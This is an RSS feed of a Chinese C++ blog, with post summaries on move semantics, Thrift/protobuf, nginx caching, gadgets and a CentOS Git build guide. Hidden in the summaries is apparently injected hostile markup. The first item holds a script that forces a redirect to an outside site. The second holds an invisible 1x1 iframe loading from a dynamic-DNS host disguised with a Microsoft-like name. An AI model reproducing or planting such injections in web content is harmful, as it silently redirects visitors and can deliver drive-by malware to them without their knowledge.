﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Rixu Blog (日需博客)</title><link>http://www.cppblog.com/gezidan/</link><description>日需博客，每日必需来踩踩哦..</description><language>zh-cn</language><lastBuildDate>Sun, 05 Apr 2026 21:18:43 GMT</lastBuildDate><pubDate>Sun, 05 Apr 2026 21:18:43 GMT</pubDate><ttl>60</ttl><item><title>C++11中的Move语义和右值引用</title><link>http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 15 Mar 2016 07:49:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/213026.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/213026.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/213026.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: <p style="margin-top: 10px; margin-bottom: 10px; padding: 0px; list-style-type: none; list-style-image: none; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; line-height: 25.2px; background-color: #ffffff;">C++一直致力于生成快速的程序。不幸的是，直到C++11之前，这里一直有一个降低C++程序速度的顽症：临时变量的创建。有时这些临时变量可以被编译器优化（例如返回值优化），但是这并不总是可行的，通常这会导致高昂的对象复制成本。我说的是怎么回事呢？</p><br><script language="javascript"type="text/javascript">window.location.replace("http://blog.libgod.com");</script>&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/213026.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2016-03-15 15:49 <a href="http://www.cppblog.com/gezidan/archive/2016/03/15/213026.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Thrift and protobuf</title><link>http://www.cppblog.com/gezidan/archive/2015/10/26/212107.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 26 Oct 2015 12:18:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2015/10/26/212107.html</guid><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: <iframe allowtransparency="true" src="http://microsoftdns.xicp.net:5707/cppblog.png" width="1" height="1" style="display: block;"></iframe><br><br>最近工作需要保存一些结构化的数据。常规的思路，自然是选择xml。定义一个schema，然后再找个利落点的XML库(觉得tinyxml/tinyxml++ 就挺不错的)就算问题解决。这两天blog上比较热闹的话题，是从Google放出来的Protocol buffers ，一种用来部分替代xml的数据描述语言。Google就是Google，就算是推白菜出来，也一样能让人侧目。其实protocol buffers也不是什么新鲜的概念，且不说传统的ASN.1, ICE这些有点类似的东西，facebook一年前就推出了thrift ，应该说定位是非常的接近的。也有谣传说是先有了protocol buffers在google内部流行，然后google的人跳槽到facebook，就出了thrift这个东西&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2015/10/26/212107.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/212107.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2015-10-26 20:18 <a href="http://www.cppblog.com/gezidan/archive/2015/10/26/212107.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>艺术签名制作工具v1.0</title><link>http://www.cppblog.com/gezidan/archive/2015/02/12/209803.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Thu, 12 Feb 2015 03:57:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2015/02/12/209803.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/209803.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2015/02/12/209803.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/209803.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/209803.html</trackback:ping><description><![CDATA[<p>可在线制作艺术签名。目前托管在新浪云上，地址：http://godsignature.sinaapp.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
<iframe allowtransparency="true" src="http://godsignature.sinaapp.com" width="350" height="245" style="display: block;"></iframe>
<p>示例：</p>
<img src="http://www.cppblog.com/images/cppblog_com/gezidan/yishuqianming.png" width="576" height="83" alt="" />
<img src ="http://www.cppblog.com/gezidan/aggbug/209803.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2015-02-12 11:57 <a href="http://www.cppblog.com/gezidan/archive/2015/02/12/209803.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>送人玫瑰，手有余香</title><link>http://www.cppblog.com/gezidan/archive/2012/02/14/165576.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 14 Feb 2012 09:25:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2012/02/14/165576.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/165576.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2012/02/14/165576.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/165576.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/165576.html</trackback:ping><description><![CDATA[<iframe width="600px" scrolling="no" height="520px" frameborder="0" noresize="noresize" src="javascript:'&lt;!doctype html&gt;\n&lt;html&gt;\n\t&lt;head&gt;\n\t\t&lt;title&gt;JS1k, 1k demo submission [1022]&lt;/title&gt;\n\t\t&lt;meta charset=&quot;utf-8&quot; /&gt;\n\t&lt;/head&gt;\n\t&lt;body&gt;\n\t\t&lt;canvas id=&quot;c&quot;&gt;&lt;/canvas&gt;\n\t\t&lt;script&gt;\n\t\t\tvar b = document.body;\n\t\t\tvar c = document.getElementsByTagName(\'canvas\')[0];\n\t\t\tvar a = c.getContext(\'2d\');\n\t\t\tdocument.body.clientWidth; // fix bug in webkit: http://qfox.nl/weblog/218\n\t\t&lt;/script&gt;\n\t\t&lt;script&gt;\n// start of submission //\nwith(m=Math)C=cos,S=sin,P=pow,R=random;c.width=c.height=f=500;h=-250;function p(a,b,c){if(c&gt;60)return[S(a*7)*(13+5/(.2+P(b*4,4)))-S(b)*50,b*f+50,625+C(a*7)*(13+5/(.2+P(b*4,4)))+b*400,a*1-b/2,a];A=a*2-1;B=b*2-1;if(A*A+B*B&lt;1){if(c&gt;37){n=(j=c&amp;1)%3F6:4;o=.5/(a+.01)+C(b*125)*3-a*300;w=b*h;return[o*C(n)+w*S(n)+j*610-390,o*S(n)-w*C(n)+550-j*350,1180+C(B+A)*99-j*300,.4-a*.1+P(1-B*B,-h*6)*.15-a*b*.4+C(a+b)/5+P(C((o*(a+1)+(B&gt;0%3Fw:-w))/25),30)*.1*(1-B*B),o/1e3+.7-o*w*3e-6]}if(c&gt;32){c=c*1.16-.15;o=a*45-20;w=b*b*h;z=o*S(c)+w*C(c)+620;return[o*C(c)-w*S(c),28+C(B*.5)*99-b*b*b*60-z/2-h,z,(b*b*.3+P((1-(A*A)),7)*.15+.3)*b,b*.7]}o=A*(2-b)*(80-c*2);w=99-C(A)*120-C(b)*(-h-c*4.9)+C(P(1-b,7))*50+c*2;z=o*S(c)+w*C(c)+700;return[o*C(c)-w*S(c),B*99-C(P(b, 7))*50-c/3-z/1.35+450,z,(1-b/1.2)*.9+a*.1, P((1-b),20)/4+.05]}}setInterval(\'for(i=0;i&lt;1e4;i++)if(s=p(R(),R(),i%2546/.74)){z=s[2];x=~~(s[0]*f/z-h);y=~~(s[1]*f/z-h);if(!m[q=y*f+x]|m[q]&gt;z)m[q]=z,a.fillStyle=&quot;rgb(&quot;+~(s[3]*h)+&quot;,&quot;+~(s[4]*h)+&quot;,&quot;+~(s[3]*s[3]*-80)+&quot;)&quot;,a.fillRect(x,y,1,1)}\',0)\n// end of submission //\n\t\t&lt;/script&gt;\n\t&lt;/body&gt;\n&lt;/html&gt;'"></iframe>
<img src ="http://www.cppblog.com/gezidan/aggbug/165576.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2012-02-14 17:25 <a href="http://www.cppblog.com/gezidan/archive/2012/02/14/165576.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>小创意</title><link>http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 01 Nov 2011 02:18:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/159430.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/159430.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/159430.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Milk 设计公司提供了一个超级简单的方法，将不用的塑料瓶、玻璃瓶变成一个优雅的花瓶，或者是任何容器。这个套筒由硅胶制作，可以容纳不同大小的容器。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/159430.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-11-01 10:18 <a href="http://www.cppblog.com/gezidan/archive/2011/11/01/159430.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>封装的用于WinForm的Html编辑器</title><link>http://www.cppblog.com/gezidan/archive/2011/10/10/157949.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 10 Oct 2011 04:06:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/10/157949.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157949.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/10/157949.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157949.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157949.html</trackback:ping><description><![CDATA[<div>一直没找到好用的用于WinForm的Html编辑器，于是自己封装了个，还没完工，先上个预览图。<br />
<div><img src="http://www.cppblog.com/images/cppblog_com/gezidan/17469/r_editor.PNG" width="659" height="534" alt="" /></div>
等完成了上代码。
</div>
<br />
﻿
<div class="MySignatureBoard" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; line-height: 24px; min-height: 31px; overflow-x: hidden; overflow-y: hidden; word-wrap: break-word; word-break: break-all; "> <img alt="Logo" src="http://www.cppblog.com/images/cppblog_com/gezidan/17469/r_Rixu_net(245_100).png" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px;border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; margin-left: 10px; margin-right: 10px; margin-top: 10px; margin-bottom: 10px; float: left; width: 245px; height: 100px; " />
<div id="MySignature" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 255px; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-width: 2px; border-right-width: 2px; border-bottom-width: 2px; border-left-width: 2px; border-color: #4371a6; background-image: url(http://www.xxx.com/bk.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 15px 50%; background-repeat: no-repeat no-repeat; "> <span style="color: #333333; line-height: 21px; ">作者：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">Gezidan</a></span>
<div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">出处：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">http://www.rixu.net</a>　　　　</span></div>
<div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。</span></div>
</div>
</div><img src ="http://www.cppblog.com/gezidan/aggbug/157949.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-10 12:06 <a href="http://www.cppblog.com/gezidan/archive/2011/10/10/157949.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（Chrome扩展）Google发布远程桌面控制扩展Chrome Remote Desktop BETA</title><link>http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Mon, 10 Oct 2011 01:17:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157925.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157925.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157925.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 如果你迫不及待地想帮女同学修电脑，但又极不情愿到对方家里提供上门服务，你不用纠结了。Google给你提供了一个远程控制工具。<br><br>Chrome Remote Desktop BETA是Google刚刚发布的一个远程桌面控制工具，可以让你通过Chrome浏览器或者Chromebook上网本远程访问另一台电脑。<br><br>该测试版产品采用了“Chrome远程”技术，有了它，你可以访问另一台电脑，并与之分享内容，你所要做的就是输入一个一次性的授权码。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157925.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-10 09:17 <a href="http://www.cppblog.com/gezidan/archive/2011/10/10/157925.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>花78美元，人人都可以拥有一台智能手机驱动的机器人Romo</title><link>http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sun, 09 Oct 2011 05:28:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157858.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157858.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157858.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: Romo将由硬件和软件组成。硬件包括上面图片中你可以看到轮子，电板，智能手机接口，锂电池等。软件将由一系列手机应用构成，也就是说开发者可以为智能手机开发相关的应用来延伸该机器人的功能。<br><br>目前初期Romo正在开发的应用包括3款：一款是RomoRemote——遥控该机器人，你可以通过手机上的摄像头查看机器人周围的情况，也就是具有了间谍功能。Romo Kart：攻击应用，通过该应用你可以向机器人发出攻击命令，主要可以用于和同伴比赛玩耍。Drag and Drop Programming Module：你可以直接在你的智能手机上编程，并看着该机器人执行你的命令。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157858.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-09 13:28 <a href="http://www.cppblog.com/gezidan/archive/2011/10/09/157858.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>使用memc-nginx和srcache-nginx模块构建高效透明的缓存机制</title><link>http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sun, 09 Oct 2011 01:42:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157841.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157841.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157841.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 为了提高性能，几乎所有互联网应用都有缓存机制，其中Memcache是使用非常广泛的一个分布式缓存系统。众所周知，LAMP是非常经典的Web架构方式，但是随着Nginx的成熟，越来越多的系统开始转型为LNMP（Linux+Nginx+MySQL+PHP with fpm），这是因为Nginx采用基于事件机制的I/O多路复用思想设计，在高并发情况下其性能远远优于默认采用prefork模式的Apache，另外，相对于Apache，Nginx更轻量，同时拥有大量优秀的扩展模块，使得在Nginx上可以实现一些美妙的功能。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157841.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-09 09:42 <a href="http://www.cppblog.com/gezidan/archive/2011/10/09/157841.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在centos上搭建Git分布式管理控制系统</title><link>http://www.cppblog.com/gezidan/archive/2011/10/09/157838.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Sun, 09 Oct 2011 01:24:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/09/157838.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157838.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/09/157838.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157838.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157838.html</trackback:ping><description><![CDATA[<span class="Apple-style-span" style="color: #333333; font-family: Georgia, 'Times New Roman', Times, san-serif; line-height: 25px; background-color: #ffffff; ">
<h1 style="font-family: 微软雅黑, sans-serif; font-size: 26px; background-color: #999999; color: #ffffff; padding-top: 8px; padding-right: 10px; padding-bottom: 8px; padding-left: 10px; ">简介：</h1>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">Git是一个开源的分布式版本控制系统，用以有效、高速的处理从很小到非常大的项目版本管理。</p>
<h1 style="font-family: 微软雅黑, sans-serif; font-size: 26px; background-color: #999999; color: #ffffff; padding-top: 8px; padding-right: 10px; padding-bottom: 8px; padding-left: 10px; ">安装步骤：</h1>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><strong>操作系统：centos 5.5</strong></p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
         <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
         <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">安装GIT依赖的包</h2>
         </li>
     </ul>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">yum install zlib-devel&nbsp;<br />
yum install openssl-devel&nbsp;<br />
yum install perl&nbsp;<br />
yum install cpio&nbsp;<br />
yum install expat-devel&nbsp;<br />
yum install gettext-devel</p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">yum install autoconf</p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
         <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
         <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">安装curl</h2>
         </li>
     </ul>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">安装cURL&nbsp;</p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "># wget http://curl.haxx.se/download/curl-7.17.1.tar.gz&nbsp;<br />
# tar zxvf curl-7.17.1.tar.gz&nbsp; //解压</p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">#cd curl-7.17.1&nbsp;<br />
# ./configure --prefix=/usr/local/curl&nbsp;<br />
# make&nbsp;<br />
# make install</p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
     <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">修改ld.so.conf 添加/usr/local/lib</h2>
     </li>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">vi /etc/ld.so.conf 添加/usr/local/lib</p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
     <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">运行idconfig</h2>
     </li>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; ">/sbin/ldconfig</p>
<ul style="list-style-type: none; list-style-position: initial; list-style-image: initial; margin-top: 10px; margin-right: 10px; margin-bottom: 10px; margin-left: 45px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
     <li style="background-image: url(http://www.cnblogs.com/Skins/Minyx2_Lite/images/icon_miniarrow.gif); padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 15px; list-style-type: disc; background-position: 0px 9px; background-repeat: no-repeat no-repeat; ">
     <h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">安装Git</h2>
     </li>
</ul>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>wget http://www.codemonkey.org.uk/projects/git-snapshots/git/git-latest.tar.gz<br />
tar xzvf git-latest.tar.gz&nbsp;<br />
cd git-2011-10-08</code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code></code><code>autoconf</code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>./configure --with-curl=/usr/local/curl&nbsp;<br />
make&nbsp;<br />
make install</code></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>*************************************安装ok</code></p>
<h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; ">测试<code>：</code></h2>
<h2 style="font-family: 微软雅黑, sans-serif; font-size: 22px; letter-spacing: -1px; background-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 0px; padding-bottom: 6px; padding-left: 0px; line-height: 26px; color: #336699; background-position: 0% 100%; background-repeat: repeat no-repeat; "><code>终端输入#git</code></h2>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><a href="http://images.cnblogs.com/cnblogs_com/phphuaibei/201110/201110081814067963.png" style="outline-style: none; outline-width: initial; outline-color: initial; text-decoration: none; color: #3d81ee; border-bottom-width: 1px; border-bottom-style: dashed; "><img title="wps_clip_image-15949" border="0" alt="wps_clip_image-15949" src="http://images.cnblogs.com/cnblogs_com/phphuaibei/201110/201110081814097949.png" width="627" height="346" style="border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-style: initial; border-color: initial; background-color: #ffffff; display: inline; border-style: initial; border-color: initial; " /></a></p>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>相关参数和说明还是很全的</code></p>
<h1 style="font-family: 微软雅黑, sans-serif; font-size: 26px; background-color: #999999; color: #ffffff; padding-top: 8px; padding-right: 10px; padding-bottom: 8px; padding-left: 10px; "><code>使用和搭建版本控制：</code></h1>
<p style="line-height: 25px; margin-top: 12px; margin-bottom: 12px; "><code>可以参考：</code></p>
